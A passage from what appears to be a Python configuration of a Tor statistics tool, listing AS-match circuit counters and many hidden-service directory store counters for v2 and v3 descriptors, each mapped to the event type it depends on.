'NonEntryRelayOnAddressConnectionASMatchOutboundByteCountList' : { CONNECTION_EVENT },
# circuit counts
'EntryConnectionASMatchCircuitCountList' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchCircuitCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchCircuitCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchCircuitCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchCircuitCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchCircuitCountList' : { CONNECTION_EVENT },
'EntryConnectionASMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'EntryConnectionASMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
# these counters depend on the HSDir store event
# HSDir Store /Add/Reject /Cached/Uncached Count/{Descriptor,Intro}Byte{Count,Histogram}/ReasonCountList
'HSDirStoreCount' : { HSDIR_STORE_EVENT },
'HSDirStoreDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreCachedCount' : { HSDIR_STORE_EVENT },
'HSDirStoreCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreUncachedCount' : { HSDIR_STORE_EVENT },
'HSDirStoreUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreAddCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreAddIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreAddReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreAddCachedCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreAddCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreAddCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreAddUncachedCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreAddUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreAddUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectCachedCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectUncachedCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreCachedNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreUncachedNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddCachedNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreAddUncachedNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectCachedNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthIntroPointHistogram' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthUploadDelayTime' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir2StoreRejectUncachedNoClientAuthOnionAddressCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreCachedCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreCachedRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreUncachedCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreUncachedRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddReasonCountList' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCachedCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCachedRevisionHistogram' : { HSDIR_STORE_EVENT },
'HSDir3StoreAddCachedReasonCountList' : { HSDIR_STORE_EVENT },
